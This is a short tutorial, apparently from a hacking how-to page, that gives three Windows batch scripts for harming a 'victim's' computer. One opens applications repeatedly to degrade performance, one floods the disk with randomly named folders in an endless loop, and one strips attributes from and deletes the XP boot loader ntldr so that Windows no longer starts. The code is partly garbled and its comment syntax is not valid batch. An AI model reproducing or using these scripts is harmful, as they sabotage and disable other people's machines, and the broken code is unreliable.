BATCH FILES

Application Bomber

@echo off // It instructs to hide the commands when batch files is executed

:x //loop variable

start winword

start mspaint //open paint

start notepad

start write

start cmd //open command prompt

start explorer

This code when executed will start open different applications like paint,notepad,command prompt

repeatedly, irritating victim and ofcourse affecting performance.

 Folder flooder

@echo off

:x

md %random% // mak es directory/folder.

goto x

 So this code would makestart creating folders whose name can be any random number

 Deleting boot files

Goto C drive in Win XP , Tools->Folder Option->View

Now Uncheck the option 'Hide operating system files' and check option 'Show hidden files and folders'.

Click apply

Now you can see the operating system files. There is a one file 'ntldr' which is boot loader used to boot

the windows.

Lets make a batch file to

delete this file from victim's computer and the windows will not start then.

attrib -S -R -H C:\ntldr // -S,-R,-H to clear system file attribute, read only attribute , hidden file attribute respectively

del ntldr //delete ntldr file

After running this batch file , system will not reboot and a normal victim would definitely install the

windows again.
